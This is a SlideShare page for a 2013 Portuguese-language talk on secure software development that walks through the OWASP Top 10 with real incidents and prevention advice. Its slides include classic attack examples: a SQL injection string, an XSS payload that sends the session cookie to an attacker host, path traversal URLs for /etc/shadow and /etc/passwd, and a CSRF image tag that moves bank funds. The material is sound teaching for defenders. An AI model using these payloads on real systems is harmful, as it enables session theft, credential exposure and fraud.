Augusto Lüdtke20/maio/2013
 Por que software seguro? Conceitos básicos Princípios de segurança OWASPTop 10
 Esta apresentação não é sobre a HP A HP não é responsável pelas opiniões apresentadas aqui
NetworkApplicationDatabase ServerWeb ServerApplication ServerOperating SystemFonte de 95% das vulnerabilidades(Software Se...
Explosão no número de vulnerabilidades* National Vulnerabilty Database
A vantagem de corrigir cedo
 CIA Confidencialidade Integridade Disponibilidade (Availability) AAA Autenticação Autorização Auditoria
 OWASP▪ Open Web Application Security Project (Projeto Aberto de Segurança de AplicaçõesWeb)▪ Organização internacional▪ ...
Versão 2010: risco x prevalência A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Man...
A1: Injection Visão geral▪ Dados não confiáveis enviados para um interpretador como parte de umcomando/consulta▪ Interpre...
A1: Injection Exemplo A aplicação usa dados não-confiáveis na construção da consulta SQL:String query = "SELECT * FROM a...
A1: Injection Exemplos reais de SQL injection Microsoft UK (junho/2007)▪ Defacement Nações Unidas (agosto/2007)▪ Deface...
A1: Injection Exemplos reais de SQL injection Sony Pictures (junho/2011)▪ Milhares de contas (1M x 37K)▪ Nomes▪ Senhas▪ ...
A1: Injection Prevenção Consultas parametrizadas: os dados são separados dos comandosString custname = request.getParame...
A2: Cross Site Scripting (XSS) Visão geral▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, p...
A2: Cross Site Scripting (XSS) Exemplo A aplicação usa dados não-confiáveis na construção de código HTML:(String) page +...
A2: Cross Site Scripting (XSS) Exemplos reais barackobama.com (abril/2008)▪ XSS na seção Community Blogs levava usuário ...
A2: Cross Site Scripting (XSS) Prevenção▪ Encoding/escaping de dados na entrada e na saída▪ Fazer com que <script> seja c...
A3: Broken Authentication and Session Management Visão geral▪ O atacante usa falhas nas funções de autenticação ou gerenc...
A3: Broken Authentication and Session Management Exemplos Usuário autenticado informa os amigos sobre a passagem que com...
A3: Broken Authentication and Session Management Exemplos reais Timeout da aplicação não é definido apropriadamente:
A3: Broken Authentication and Session Management Exemplos reais Senhas não criptografadas no banco de dados:▪ DreamHost ...
A3: Broken Authentication and Session Management Prevenção▪ Adicione um timeout à sessão para reduzir a janela de oportun...
A4: Insecure Direct Object References Visão geral▪ O atacante, que é um usuário autorizado do sistema, modifica o valor d...
A4: Insecure Direct Object References Exemplo A aplicação usa dados não verificados numa consulta SQL acessandoinformaçõ...
A4: Insecure Direct Object References Exemplo A aplicação abre arquivos que são determinados pelo usuáriohttp://some_sit...
A4: Insecure Direct Object References Exemplos reais Dados de outros usuários acessados com pequenas mudanças na URL:▪ P...
A4: Insecure Direct Object References Prevenção▪ Verifique se o usuário tem permissão para acessar o objeto requerido▪ Ve...
A5: Cross-Site Request Forgery (CSRF) Visão geral▪ Um atacante faz o browser da vítima enviar um comando para uma aplicaç...
A5: Cross-Site Request Forgery (CSRF) Exemplo Site do banco recebe requisições de transferência no seguinte formato:http...
A5: Cross-Site Request Forgery (CSRF) Exemplo reais Vulnerabilidades de CSRF permitiam:▪ Apagar conteúdo (fotos, vídeos,...
A5: Cross-Site Request Forgery (CSRF) Prevenção▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cad...
A6: Security Misconfiguration Visão geral▪ É necessária uma configuração segura definida para a aplicação, frameworks,ser...
A6: Security Misconfiguration Exemplo real Locaweb (setembro/2010)▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)▪ Mai...
A6: Security Misconfiguration Prevenção▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado comt...
A7: Insecure Cryptographic Storage Visão geral Muitas aplicações não protegem adequadamente dados sensíveis:▪ Não cripto...
A7: Insecure Cryptographic Storage Exemplo real LinkedIn (junho/2012)▪ Vazamento de 6,5 milhões de senhas criptografadas...
A7: Insecure Cryptographic Storage Prevenção▪ Identifique quais são os dados sensíveis▪ Use as proteções adequadas▪ Algor...
A8: Failure to Restrict URL Access Visão geral▪ O atacante, que é um usuário do sistema, altera a URL para apontar para u...
A8: Failure to Restrict URL Access Exemplo real D-Link DSL-504T (CVE-2005-1827)▪ Qualquer usuário obtinha acesso (sem au...
A8: Failure to Restrict URL Access Prevenção▪ Inclua controles de autenticação e autorização em cada página▪ Use política...
A9: InsufficientTransport Layer Protection Visão geral Aplicações falham em autenticar, criptografar e proteger a confid...
A9: InsufficientTransport Layer Protection Exemplo real MI-5 (abril/2012)▪ Certificado SSL expirado
A9: InsufficientTransport Layer Protection Exemplo real Firesheep (outubro/2010)▪ Intercepta cookies não criptografados ...
A9: InsufficientTransport Layer Protection Prevenção▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP pa...
A10: Unvalidated Redirects and Forwards Visão geral A aplicação faz redirects (com HTTP 302, por exemplo) utilizando par...
A10: Unvalidated Redirects and Forwards Exemplo A aplicação tem uma página chamada “redirect.jsp”, que recebe umparâmetr...
A10: Unvalidated Redirects and Forwards Prevenção▪ Não use redirects▪ Se usar redirects, não envolva parâmetros do usuári...
 Livros Sites www.owasp.org cwe.mitre.org Notícias nakedsecurity.sophos.com thehackernews.com www.forbes.com/sites...
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
Próximos SlideShares
Carregando em…5
×

Desenvolvimento de Software Seguro

3.734 visualizações

Publicada em

Palestra apresentada na Faculdade de Tecnologia SENAC (Porto Alegre) em 20/maio/2013

Publicada em: Tecnologia
0 comentários
5 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
3.734
No SlideShare
0
A partir de incorporações
0
Número de incorporações
4
Ações
Compartilhamentos
0
Downloads
0
Comentários
0
Gostaram
5
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide
  • http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  • http://www.theregister.co.uk/2007/07/02/ms_uk_defacement/http://www.computerworld.com/s/article/9030318/_Hackers_deface_UN_sitehttp://en.wikipedia.org/wiki/LulzSec
  • http://en.wikipedia.org/wiki/Prepared_statement
  • http://news.netcraft.com/archives/2008/04/21/hacker_redirects_barack_obamas_site_to_hillaryclintoncom.htmlhttp://news.netcraft.com/archives/2008/04/24/clinton_and_obama_xss_battle_develops.html
  • Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim&apos;s name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser&apos;s internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one&apos;s own systems).[4]http://www.youtube.com/watch?v=06F6y2QpPbQ
  • Firesheep is an extension for the Firefox web browser that uses a packet sniffer to intercept unencrypted cookies from websites such as Facebook and Twitter. As cookies are transmitted over networks, packet sniffing is used to discovered identities on a sidebar displayed in the browser, and allows the user to instantly take on the log-in credentials of the user by double-clicking on the victim&apos;s name.[2]The extension was created as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process.[3] It has been warned that the use of the extension to capture login details without permission would violate wiretapping laws and/or computer security laws in some countries. Despite the security threat surrounding Firesheep, representatives for Mozilla Add-ons have stated that it would not use the browser&apos;s internal add-on blacklist to disable use of Firesheep, as the blacklist has only been used to disable spyware or add-ons which inadvertently create security vulnerabilities, as opposed to attack tools (which may legitimately be used to test the security of one&apos;s own systems).[4]
  • Desenvolvimento de Software Seguro

    1. 1. Augusto Lüdtke20/maio/2013
    2. 2.  Por que software seguro? Conceitos básicos Princípios de segurança OWASPTop 10
    3. 3.  Esta apresentação não é sobre a HP A HP não é responsável pelas opiniões apresentadas aqui
    4. 4. NetworkApplicationDatabase ServerWeb ServerApplication ServerOperating SystemFonte de 95% das vulnerabilidades(Software Security Testing: Let’s Get Back to Basics)Alvo de 75% dos ataques(Now Is the Time for Security at the Application Level)
    5. 5. Explosão no número de vulnerabilidades* National Vulnerabilty Database
    6. 6. A vantagem de corrigir cedo
    7. 7.  CIA Confidencialidade Integridade Disponibilidade (Availability) AAA Autenticação Autorização Auditoria
    8. 8.  OWASP▪ Open Web Application Security Project (Projeto Aberto de Segurança de AplicaçõesWeb)▪ Organização internacional▪ Sem fins lucrativos▪ Contribui para a melhoria da segurança de software OWASPTop 10 Conscientização sobre segurança de aplicações, identificando alguns dosmaiores riscos que as organizações enfrentam.
    9. 9. Versão 2010: risco x prevalência A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URLAccess A9: InsufficientTransport Layer Protection A10: Unvalidated Redirects and Forwards
    10. 10. A1: Injection Visão geral▪ Dados não confiáveis enviados para um interpretador como parte de umcomando/consulta▪ Interpretador executa um comando malicioso▪ Interpretadores:▪ Bancos de dados▪ Servidores LDAP▪ Shell Vulnerabilidades associadas▪ CWE-77: Improper Neutralization of Special Elements used in a Command(Command Injection)▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection)
    11. 11. A1: Injection Exemplo A aplicação usa dados não-confiáveis na construção da consulta SQL:String query = "SELECT * FROM accountsWHERE custID=" + request.getParameter("id") +""; O atacante modifica o parâmetro ‘id’ no browser para enviar or 1=1:http://example.com/app/accountView?id= or 1=1 E a consulta executada é:SELECT * FROM accounts WHERE custID= or 1=1
    12. 12. A1: Injection Exemplos reais de SQL injection Microsoft UK (junho/2007)▪ Defacement Nações Unidas (agosto/2007)▪ Defacement
    13. 13. A1: Injection Exemplos reais de SQL injection Sony Pictures (junho/2011)▪ Milhares de contas (1M x 37K)▪ Nomes▪ Senhas▪ Endereços de e-mail▪ Endereços residenciais▪ Datas de nascimento Yahoo!Voices (julho/2012)▪ Mais de 400K contas▪ Usernames▪ Senhas não criptografadas
    14. 14. A1: Injection Prevenção Consultas parametrizadas: os dados são separados dos comandosString custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement pstmt = connection.prepareStatement(query);pstmt.setString(1, custname);ResultSet results = pstmt.executeQuery();
    15. 15. A2: Cross Site Scripting (XSS) Visão geral▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, porexemplo)▪ Aplicação repassa dados para o browser da vítima▪ Browser da vítima executa os comandos Vulnerabilidades associadas▪ CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-siteScripting)
    16. 16. A2: Cross Site Scripting (XSS) Exemplo A aplicação usa dados não-confiáveis na construção de código HTML:(String) page += “<input name=creditcard type=TEXT value=" +request.getParameter("CC") + ">"; O atacante cria uma URL para esta página, modificando o parâmetro CC para:‘><script>document.location= http://www.attacker.com/cgi-bin/cookie.cgi?foo=+document.cookie</script> Ao processar a URL, o browser do usuário processa a página contendo oJavaScript e o ID da sessão do usuário é enviado para o website do atacante.
    17. 17. A2: Cross Site Scripting (XSS) Exemplos reais barackobama.com (abril/2008)▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com votehillary.org (abril/2008)▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
    18. 18. A2: Cross Site Scripting (XSS) Prevenção▪ Encoding/escaping de dados na entrada e na saída▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)▪ Proteger cookies com o atributo HttpOnly
    19. 19. A3: Broken Authentication and Session Management Visão geral▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessãopara assumir a identidade do usuário.▪ Alvos: contas, senhas e IDs de sessão Vulnerabilidades associadas▪ CWE-287: Improper Authentication
    20. 20. A3: Broken Authentication and Session Management Exemplos Usuário autenticado informa os amigos sobre a passagem que comprou:http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
    21. 21. A3: Broken Authentication and Session Management Exemplos reais Timeout da aplicação não é definido apropriadamente:
    22. 22. A3: Broken Authentication and Session Management Exemplos reais Senhas não criptografadas no banco de dados:▪ DreamHost (janeiro/2012)▪ Billabong (julho/2012)
    23. 23. A3: Broken Authentication and Session Management Prevenção▪ Adicione um timeout à sessão para reduzir a janela de oportunidade▪ Use funções de hash e “salt” para armazenar senhas▪ Transmita as credenciais somente sobre HTTPS
    24. 24. A4: Insecure Direct Object References Visão geral▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de umparâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)▪ A aplicação não verifica as permissões necessárias e dá acesso indevido àsinformações Vulnerabilidades associadas▪ CWE-639: Authorization BypassThrough User-Controlled Key▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory (PathTraversal)
    25. 25. A4: Insecure Direct Object References Exemplo A aplicação usa dados não verificados numa consulta SQL acessandoinformações da conta:String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt = connection.prepareStatement(query , ...);pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery(); O atacante modifica o parâmetro ‘acct’ no browser para enviar o número daconta que ele quiser:http://example.com/app/accountInfo?acct=notmyacct
    26. 26. A4: Insecure Direct Object References Exemplo A aplicação abre arquivos que são determinados pelo usuáriohttp://some_site.com/../../../../etc/shadowhttp://some_site.com/get-files?file=/etc/passwd Exemplos de path traversal em servidores web:▪ Nginx (CVE-2009-3898)▪ ApacheTomcat (CVE-2009-2902)▪ IIS (CVE-2000-0884)
    27. 27. A4: Insecure Direct Object References Exemplos reais Dados de outros usuários acessados com pequenas mudanças na URL:▪ Passport Canada (dezembro/2007)▪ Citibank (junho/2011)
    28. 28. A4: Insecure Direct Object References Prevenção▪ Verifique se o usuário tem permissão para acessar o objeto requerido▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”▪ Normalize/canonicalize a requisição antes de validá-la▪ Transforme %2e%2e%5c em ..
    29. 29. A5: Cross-Site Request Forgery (CSRF) Visão geral▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação webvulnerável▪ Browser inclui automaticamente dados de autenticação do usuário▪ Aplicação executa o comando em função da confiança que tem no usuário Vulnerabilidades associadas▪ CWE-352: Cross-Site Request Forgery (CSRF)
    30. 30. A5: Cross-Site Request Forgery (CSRF) Exemplo Site do banco recebe requisições de transferência no seguinte formato:http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ouiframe:<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irátransferir o dinheiro para o atacante.
    31. 31. A5: Cross-Site Request Forgery (CSRF) Exemplo reais Vulnerabilidades de CSRF permitiam:▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)▪ Postar comentários▪ Seguir usuários/perfis
    32. 32. A5: Cross-Site Request Forgery (CSRF) Prevenção▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisiçãoHTTP▪ Limitar o tempo de vida dos cookies de sessão
    33. 33. A6: Security Misconfiguration Visão geral▪ É necessária uma configuração segura definida para a aplicação, frameworks,servidores de aplicação, servidores web, bancos de dados e plataforma.▪ Inclui configurações default e atualização de pacotes Vulnerabilidades associadas▪ CWE-2: Environment
    34. 34. A6: Security Misconfiguration Exemplo real Locaweb (setembro/2010)▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)▪ Mais de 25 mil sites atacados▪ Troca de acusações entre Locaweb e Red Hat
    35. 35. A6: Security Misconfiguration Prevenção▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado comtodos updates e patches▪ Desabilite serviços, portas, contas e privilégios desnecessários▪ Modifique ou desabilite senhas default
    36. 36. A7: Insecure Cryptographic Storage Visão geral Muitas aplicações não protegem adequadamente dados sensíveis:▪ Não criptografam os dados▪ Usam algoritmos inadequados▪ Não protegem as chaves criptográficas Vulnerabilidades associadas▪ CWE-310: Cryptographic Issues▪ CWE-312: Cleartext Storage of Sensitive Information▪ CWE-326: Inadequate Encryption Strength
    37. 37. A7: Insecure Cryptographic Storage Exemplo real LinkedIn (junho/2012)▪ Vazamento de 6,5 milhões de senhas criptografadas▪ Senhas armazenadas como hashes SHA-1▪ Não utilizavam “salt”▪ Vulneráveis a um ataque com “rainbow tables”
    38. 38. A7: Insecure Cryptographic Storage Prevenção▪ Identifique quais são os dados sensíveis▪ Use as proteções adequadas▪ Algoritmos seguros▪ Criptografia do sistema de arquivos▪ Criptografia de registros no banco de dados▪ Funções de hash com “salt” para armazenar senhas▪ Gerenciamento de chaves criptográficas▪ Geração▪ Armazenamento
    39. 39. A8: Failure to Restrict URL Access Visão geral▪ O atacante, que é um usuário do sistema, altera a URL para apontar para umapágina privilegiada.▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquelapágina Vulnerabilidades associadas▪ CWE-285: Improper Authorization
    40. 40. A8: Failure to Restrict URL Access Exemplo real D-Link DSL-504T (CVE-2005-1827)▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URLhttp://ipdoroteador/cgi-bin/firmwarecfg▪ Com este acesso, o usuário podia▪ Atualizar o firmware▪ Reiniciar o roteador▪ Restaurar uma configuração salva
    41. 41. A8: Failure to Restrict URL Access Prevenção▪ Inclua controles de autenticação e autorização em cada página▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir oesforço de manutenção▪ O mecanismo de autorização deve negar todos acessos por default, exigindopermissões explícitas para cada página
    42. 42. A9: InsufficientTransport Layer Protection Visão geral Aplicações falham em autenticar, criptografar e proteger a confidencialidadee integridade de tráfego de rede sensível. Vulnerabilidades associadas▪ CWE-319: Cleartext Transmission of Sensitive Information
    43. 43. A9: InsufficientTransport Layer Protection Exemplo real MI-5 (abril/2012)▪ Certificado SSL expirado
    44. 44. A9: InsufficientTransport Layer Protection Exemplo real Firesheep (outubro/2010)▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
    45. 45. A9: InsufficientTransport Layer Protection Prevenção▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versõesHTTPS.▪ Proteja os cookies com o atributo Secure▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:▪ Domínios▪ Validade▪ Autoridade certificadora (CA)
    46. 46. A10: Unvalidated Redirects and Forwards Visão geral A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetrosdo usuário para de terminar o destino. Um atacante pode criar uma URL comum domínio conhecido, mas que levará o usuário para uma página maliciosa. Vulnerabilidades associadas▪ CWE-601: URL Redirection to Untrusted Site (Open Redirect)
    47. 47. A10: Unvalidated Redirects and Forwards Exemplo A aplicação tem uma página chamada “redirect.jsp”, que recebe umparâmetro “url”. O atacante constrói uma URL que redireciona usuários paraum site malicioso que faz phishing e instala malwares:http://www.example.com/redirect.jsp?url=evil.com Exemplo real Trac (CVE-2008-2951)▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através deuma URL no parâmetro q.
    48. 48. A10: Unvalidated Redirects and Forwards Prevenção▪ Não use redirects▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
    49. 49.  Livros Sites www.owasp.org cwe.mitre.org Notícias nakedsecurity.sophos.com thehackernews.com www.forbes.com/sites/andygreenberg/ www.h-online.com www.net-security.org www.securitybloggersnetwork.com @augusto_ludtke

    ×